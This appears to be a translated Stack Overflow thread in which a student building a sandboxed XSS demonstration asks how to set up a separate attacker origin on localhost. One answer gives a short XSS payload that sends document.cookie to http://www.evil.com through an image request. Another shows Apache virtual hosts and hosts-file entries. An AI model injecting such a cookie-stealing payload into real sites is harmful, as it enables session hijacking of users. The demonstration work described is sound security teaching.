我正在做关于XSHM (跨站点历史操作)的项目。
我试图展示使用XSS (跨站点脚本)是如何违反SOP的。我已经在沙盒XP机器内设置了一个本地主机(WAMP)服务器(从道德上讲必须这样做),它有一个容易受到XSS攻击的简单登录脚本。
问题)我想展示在将恶意的JavaScript代码注入登录页面后,我可以向用户发送cookie到另一个来源,但是我如何使用本地主机服务器做到这一点呢?
如果localhost是一个源(即受害者站点),我如何创建不同于localhost的另一个源(即坏人站点)来发送cookie?我知道在同一来源要求(协议,端口和域)是相同的。我不能更改为HTTPS本地主机和HTTP本地主机,因为我没有获得证书。我似乎不能根据需要更改端口号:80 for web。
我不想使用一个真实的网站和发送cookie到本地主机脚本,因为这将是不道德的,也将无法执行攻击,因为它将不会有XSS漏洞来证明利用。
有什么想法吗?
发布于 2011-11-27 20:53:48
来源并不重要,脚本只需读取同一来源上的文档cookie,然后将其作为字符串发送到服务器,在服务器上对其进行解码,然后在作恶者的浏览器或类似浏览器中手动设置cookie。
<script>
var img = new Image();
img.src = "http://www.evil.com/c="+escape(document.cookie);
</script>这将发送一个在c参数中包含用户cookie详细信息的GET请求,简单地请求一个图像并不违反SOP,所以我不知道这是否有帮助。
发布于 2012-03-16 05:41:15
在您的Apache配置中设置一些virtual hosts,如下所示:
# Ensure that Apache listens on port 80
Listen 80
# Listen for virtual host requests on all IP addresses
NameVirtualHost *:80
<VirtualHost *:80>
DocumentRoot "C:\goodguy"
ServerName goodguy.com
# Other directives here
</VirtualHost>
<VirtualHost *:80>
DocumentRoot "C:\badguy"
ServerName badguy.com
# Other directives here
</VirtualHost>将它们指向hosts文件中的127.0.0.1。
127.0.0.1 goodguy.com
127.0.0.1 badguy.com现在,使用goodguy.com和badguy.com而不是localhost。
祝好运!
https://stackoverflow.com/questions/8285628
复制相似问题